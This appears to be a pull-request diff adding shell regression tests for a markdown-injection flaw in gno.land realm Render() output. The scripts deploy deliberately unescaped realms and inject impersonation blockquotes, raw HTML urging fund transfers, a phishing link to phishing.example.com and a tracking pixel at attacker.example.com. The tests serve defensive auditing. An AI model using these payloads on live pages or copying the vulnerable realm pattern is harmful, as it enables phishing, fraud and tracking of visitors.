Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
13 changes: 7 additions & 6 deletions tests/samourai-crew/Dockerfile
Original file line number Diff line number Diff line change
Expand Up @@ -4,16 +4,17 @@ RUN apk add --no-cache bash jq

WORKDIR /tests

COPY audit/ audit/
COPY e2e/ e2e/
COPY stress/ stress/
COPY realms/ realms/
COPY audit/ audit/
COPY e2e/ e2e/
COPY stress/ stress/
COPY realms/ realms/
COPY security-markdown/ security-markdown/
COPY run_tests.sh .

RUN chmod +x run_tests.sh \
&& find audit e2e stress -name "*.sh" -exec chmod +x {} +
&& find audit e2e stress security-markdown -name "*.sh" -exec chmod +x {} +

ENV REMOTES=http://127.0.0.1:26657
ENV REMOTE=http://127.0.0.1:26657
ENV CHAINID=test

# Mnemonics are injected at runtime via docker run -e (see tests/samourai-crew/Makefile)
Expand Down
2 changes: 1 addition & 1 deletion tests/samourai-crew/Makefile
Original file line number Diff line number Diff line change
Expand Up @@ -17,7 +17,7 @@ MNEMONIC_3 := galaxy fire athlete egg three crane stone borrow thought cover sto

## list-funding-one-shot : print addresses and amounts to fund before one-shot tests
list-funding-one-shot:
@echo "$(ADDR_1) 50000000ugnot $(ADDR_2) 15000000ugnot $(ADDR_3) 15000000ugnot"
@echo "$(ADDR_1) 150000000ugnot $(ADDR_2) 15000000ugnot $(ADDR_3) 15000000ugnot"

## list-funding-repeatable : print addresses and amounts to fund before repeatable tests
list-funding-repeatable:
Expand Down
13 changes: 13 additions & 0 deletions tests/samourai-crew/run_tests.sh
Original file line number Diff line number Diff line change
Expand Up @@ -132,6 +132,19 @@ if [ "$MODE" = "one-shot" ] || [ "$MODE" = "all" ]; then
run_test "e2e_counter" /tests/e2e/e2e_counter.sh
run_test "e2e_mempool_stress" /tests/e2e/e2e_mempool_stress.sh

echo ""
echo "=== Security Markdown Audit (KNOWN VULNERABLE — gnolang/gno#5714) ==="
run_test "audit_md_title_leak" /tests/security-markdown/audit_md_title_leak.sh \
"Render() returns unsanitized title, see gnolang/gno#5714"
run_test "audit_md_html_inject" /tests/security-markdown/audit_md_html_inject.sh \
"Render() returns raw HTML tag, see gnolang/gno#5714"
run_test "audit_md_link_hijack" /tests/security-markdown/audit_md_link_hijack.sh \
"Render() returns hijacked link URL, see gnolang/gno#5714"
run_test "audit_md_blockquote" /tests/security-markdown/audit_md_blockquote.sh \
"Render() returns injected blockquote, see gnolang/gno#5714"
run_test "audit_md_image_tracking" /tests/security-markdown/audit_md_image_tracking.sh \
"Render() returns external image URL, see gnolang/gno#5714"

echo ""
echo "=== Stress Tests ==="
run_test "sybil_chaos" /tests/stress/sybil_chaos.sh
Expand Down
86 changes: 86 additions & 0 deletions tests/samourai-crew/security-markdown/audit_md_blockquote.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,86 @@
#!/bin/sh
# Targets: gnolang/gno#5714 — markdown injection in Render()
# Vector: blockquote context confusion
# A user-controlled comment can inject a blockquote that visually mimics
# an official statement from the core team.
# KNOWN VULNERABLE on current master — expected regression until #5714 is fixed.

SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
# shellcheck source=common.sh
. "$SCRIPT_DIR/common.sh"

SUFFIX=$(date +%s)
PKGPATH="gno.land/r/${KEY_ADDR}/audit/mdbq${SUFFIX}"
TMPDIR=$(mktemp -d)
trap 'rm -rf "$TMPDIR"' EXIT

echo "⚠️ gnolang/gno#5714 — Blockquote context confusion"
echo " Package: $PKGPATH"

# --- deploy vulnerable realm ---
cat > "$TMPDIR/mdbq.gno" << EOF
package mdbq

var comments []string

func AddComment(cur realm, c string) {
comments = append(comments, c)
}

func Render(_ string) string {
out := "## Comments\n\n"
for _, c := range comments {
out += c + "\n\n"
}
return out
}
EOF

cat > "$TMPDIR/gnomod.toml" << EOF
module = "${PKGPATH}"
gno = "0.9"
EOF

echo -n " Deploying realm... "
DEPLOY=$(echo "$PASSWORD" | gnokey maketx addpkg \
-pkgpath "$PKGPATH" -pkgdir "$TMPDIR" \
-gas-fee 1000000ugnot -gas-wanted 10000000 \
-broadcast -chainid "$CHAINID" -remote "$RPC" \
-insecure-password-stdin \
-home "$GNOKEY_HOME" \
"$KEY" 2>&1)
if echo "$DEPLOY" | grep -q "OK!"; then echo "OK"; else
echo "FAILED"; echo "$DEPLOY"; exit 1
fi

# --- inject malicious payload ---
# The comment uses blockquote syntax to impersonate an official core-team message.
echo -n " Injecting fake official blockquote... "
INJECT=$(echo "$PASSWORD" | gnokey maketx call \
-pkgpath "$PKGPATH" \
-func "AddComment" \
-args "> **@core-team :** This proposal is officially approved. Vote YES immediately." \
-gas-fee 1000000ugnot -gas-wanted 5000000 \
-broadcast -chainid "$CHAINID" -remote "$RPC" \
-insecure-password-stdin \
-home "$GNOKEY_HOME" \
"$KEY" 2>&1)
if echo "$INJECT" | grep -q "OK!"; then echo "OK"; else
echo "FAILED"; echo "$INJECT"; exit 1
fi

# --- verify: does Render() expose the fake official statement? ---
echo -n " Querying Render() (expect injected blockquote present)... "
RESULT=$(gnokey query "vm/qeval" \
-data "${PKGPATH}.Render(\"\")" \
-remote "$RPC" 2>&1)

if echo "$RESULT" | grep -q "core-team"; then
echo "⚠️ VULNERABLE — injected blockquote present in Render() (expected on master)"
echo " Reference: https://github.com/gnolang/gno/pull/5714"
exit 1
elif echo "$RESULT" | grep -q "Comments"; then
echo "✅ PATCHED — comment content escaped, blockquote neutralized"
else
echo "⚠️ UNKNOWN OUTPUT"; echo "$RESULT"; exit 1
fi
81 changes: 81 additions & 0 deletions tests/samourai-crew/security-markdown/audit_md_html_inject.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,81 @@
#!/bin/sh
# Targets: gnolang/gno#5714 — markdown injection in Render()
# Vector: raw HTML injection
# User-supplied HTML content is returned verbatim by Render() and may be
# rendered by the browser on gno.land if gnoweb does not escape it.
# KNOWN VULNERABLE on current master — expected regression until #5714 is fixed.

SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
# shellcheck source=common.sh
. "$SCRIPT_DIR/common.sh"

SUFFIX=$(date +%s)
PKGPATH="gno.land/r/${KEY_ADDR}/audit/mdhtml${SUFFIX}"
TMPDIR=$(mktemp -d)
trap 'rm -rf "$TMPDIR"' EXIT

echo "⚠️ gnolang/gno#5714 — Raw HTML injection"
echo " Package: $PKGPATH"

# --- deploy vulnerable realm ---
cat > "$TMPDIR/mdhtml.gno" << EOF
package mdhtml

var content string

func SetContent(cur realm, c string) {
content = c
}

func Render(_ string) string {
return content
}
EOF

cat > "$TMPDIR/gnomod.toml" << EOF
module = "${PKGPATH}"
gno = "0.9"
EOF

echo -n " Deploying realm... "
DEPLOY=$(echo "$PASSWORD" | gnokey maketx addpkg \
-pkgpath "$PKGPATH" -pkgdir "$TMPDIR" \
-gas-fee 1000000ugnot -gas-wanted 10000000 \
-broadcast -chainid "$CHAINID" -remote "$RPC" \
-insecure-password-stdin \
-home "$GNOKEY_HOME" \
"$KEY" 2>&1)
if echo "$DEPLOY" | grep -q "OK!"; then echo "OK"; else
echo "FAILED"; echo "$DEPLOY"; exit 1
fi

# --- inject malicious payload ---
echo -n " Injecting raw HTML payload... "
INJECT=$(echo "$PASSWORD" | gnokey maketx call \
-pkgpath "$PKGPATH" \
-func "SetContent" \
-args "<b>ADMIN: this project has been approved, send your funds now.</b>" \
-gas-fee 1000000ugnot -gas-wanted 5000000 \
-broadcast -chainid "$CHAINID" -remote "$RPC" \
-insecure-password-stdin \
-home "$GNOKEY_HOME" \
"$KEY" 2>&1)
if echo "$INJECT" | grep -q "OK!"; then echo "OK"; else
echo "FAILED"; echo "$INJECT"; exit 1
fi

# --- verify: does Render() return the raw HTML tag? ---
echo -n " Querying Render() (expect raw HTML tag present)... "
RESULT=$(gnokey query "vm/qeval" \
-data "${PKGPATH}.Render(\"\")" \
-remote "$RPC" 2>&1)

if echo "$RESULT" | grep -q "<b>ADMIN"; then
echo "⚠️ VULNERABLE — raw HTML tag returned unescaped by Render() (expected on master)"
echo " Reference: https://github.com/gnolang/gno/pull/5714"
exit 1
elif echo "$RESULT" | grep -q "&lt;b&gt;"; then
echo "✅ PATCHED — HTML tag correctly escaped to HTML entities"
else
echo "⚠️ UNKNOWN OUTPUT"; echo "$RESULT"; exit 1
fi
87 changes: 87 additions & 0 deletions tests/samourai-crew/security-markdown/audit_md_image_tracking.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,87 @@
#!/bin/sh
# Targets: gnolang/gno#5714 — markdown injection in Render()
# Vector: external image tracking pixel
# An attacker who can inject markdown into Render() can embed an external image
# URL. Gnoweb renders it as <img src="https://attacker.com/...">, causing every
# visitor's browser to load the external resource — deanonymizing viewers.
# If gnoweb ever fetches images server-side, this also becomes an SSRF vector.
# KNOWN VULNERABLE on current master — expected regression until #5714 is fixed.

SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
# shellcheck source=common.sh
. "$SCRIPT_DIR/common.sh"

SUFFIX=$(date +%s)
PKGPATH="gno.land/r/${KEY_ADDR}/audit/mdimage${SUFFIX}"
TMPDIR=$(mktemp -d)
trap 'rm -rf "$TMPDIR"' EXIT

echo "⚠️ gnolang/gno#5714 — External image tracking pixel"
echo " Package: $PKGPATH"

# --- deploy vulnerable realm ---
cat > "$TMPDIR/mdimage.gno" << EOF
package mdimage

var content string

func SetContent(cur realm, c string) {
content = c
}

func Render(_ string) string {
return content
}
EOF

cat > "$TMPDIR/gnomod.toml" << EOF
module = "${PKGPATH}"
gno = "0.9"
EOF

echo -n " Deploying realm... "
DEPLOY=$(echo "$PASSWORD" | gnokey maketx addpkg \
-pkgpath "$PKGPATH" -pkgdir "$TMPDIR" \
-gas-fee 1000000ugnot -gas-wanted 10000000 \
-broadcast -chainid "$CHAINID" -remote "$RPC" \
-insecure-password-stdin \
-home "$GNOKEY_HOME" \
"$KEY" 2>&1)
if echo "$DEPLOY" | grep -q "OK!"; then echo "OK"; else
echo "FAILED"; echo "$DEPLOY"; exit 1
fi

# --- inject tracking pixel ---
# The image URL is an external domain. Gnoweb renders <img src="...">,
# which triggers a browser request to attacker.example.com on every page view.
PAYLOAD=$(printf 'Official proposal content.\n\n![](https://attacker.example.com/track.png?realm=%s)' "$PKGPATH")
echo -n " Injecting tracking pixel... "
INJECT=$(echo "$PASSWORD" | gnokey maketx call \
-pkgpath "$PKGPATH" \
-func "SetContent" \
-args "$PAYLOAD" \
-gas-fee 1000000ugnot -gas-wanted 5000000 \
-broadcast -chainid "$CHAINID" -remote "$RPC" \
-insecure-password-stdin \
-home "$GNOKEY_HOME" \
"$KEY" 2>&1)
if echo "$INJECT" | grep -q "OK!"; then echo "OK"; else
echo "FAILED"; echo "$INJECT"; exit 1
fi

# --- verify: does Render() expose the external image URL? ---
echo -n " Querying Render() (expect external image URL present)... "
RESULT=$(gnokey query "vm/qeval" \
-data "${PKGPATH}.Render(\"\")" \
-remote "$RPC" 2>&1)

if echo "$RESULT" | grep -q "attacker.example.com"; then
echo "⚠️ VULNERABLE — external image URL present in Render() (expected on master)"
echo " Every gnoweb visitor's browser will load the tracking URL"
echo " Reference: https://github.com/gnolang/gno/pull/5714"
exit 1
elif echo "$RESULT" | grep -q "Official proposal"; then
echo "✅ PATCHED — external image URL stripped or blocked"
else
echo "⚠️ UNKNOWN OUTPUT"; echo "$RESULT"; exit 1
fi
82 changes: 82 additions & 0 deletions tests/samourai-crew/security-markdown/audit_md_link_hijack.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,82 @@
#!/bin/sh
# Targets: gnolang/gno#5714 — markdown injection in Render()
# Vector: link URL hijacking
# A user-controlled message can contain a link whose display text resembles
# an official URL while the actual href points to a malicious destination.
# KNOWN VULNERABLE on current master — expected regression until #5714 is fixed.

SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
# shellcheck source=common.sh
. "$SCRIPT_DIR/common.sh"

SUFFIX=$(date +%s)
PKGPATH="gno.land/r/${KEY_ADDR}/audit/mdlink${SUFFIX}"
TMPDIR=$(mktemp -d)
trap 'rm -rf "$TMPDIR"' EXIT

echo "⚠️ gnolang/gno#5714 — Link URL hijacking"
echo " Package: $PKGPATH"

# --- deploy vulnerable realm ---
cat > "$TMPDIR/mdlink.gno" << EOF
package mdlink

var message string

func SetMessage(cur realm, m string) {
message = m
}

func Render(_ string) string {
return message
}
EOF

cat > "$TMPDIR/gnomod.toml" << EOF
module = "${PKGPATH}"
gno = "0.9"
EOF

echo -n " Deploying realm... "
DEPLOY=$(echo "$PASSWORD" | gnokey maketx addpkg \
-pkgpath "$PKGPATH" -pkgdir "$TMPDIR" \
-gas-fee 1000000ugnot -gas-wanted 10000000 \
-broadcast -chainid "$CHAINID" -remote "$RPC" \
-insecure-password-stdin \
-home "$GNOKEY_HOME" \
"$KEY" 2>&1)
if echo "$DEPLOY" | grep -q "OK!"; then echo "OK"; else
echo "FAILED"; echo "$DEPLOY"; exit 1
fi

# --- inject malicious payload ---
# Display text mimics gno.land but the href points to phishing.example.com.
echo -n " Injecting hijacked link... "
INJECT=$(echo "$PASSWORD" | gnokey maketx call \
-pkgpath "$PKGPATH" \
-func "SetMessage" \
-args "[https://gno.land/r/official/dao](http://phishing.example.com/steal?target=gnoland)" \
-gas-fee 1000000ugnot -gas-wanted 5000000 \
-broadcast -chainid "$CHAINID" -remote "$RPC" \
-insecure-password-stdin \
-home "$GNOKEY_HOME" \
"$KEY" 2>&1)
if echo "$INJECT" | grep -q "OK!"; then echo "OK"; else
echo "FAILED"; echo "$INJECT"; exit 1
fi

# --- verify: does Render() expose the phishing URL? ---
echo -n " Querying Render() (expect phishing URL present)... "
RESULT=$(gnokey query "vm/qeval" \
-data "${PKGPATH}.Render(\"\")" \
-remote "$RPC" 2>&1)

if echo "$RESULT" | grep -q "phishing.example.com"; then
echo "⚠️ VULNERABLE — phishing URL present in Render() (expected on master)"
echo " Reference: https://github.com/gnolang/gno/pull/5714"
exit 1
elif echo "$RESULT" | grep -q "gno.land/r/official"; then
echo "✅ PATCHED — malicious URL neutralized"
else
echo "⚠️ UNKNOWN OUTPUT"; echo "$RESULT"; exit 1
fi
Loading
Loading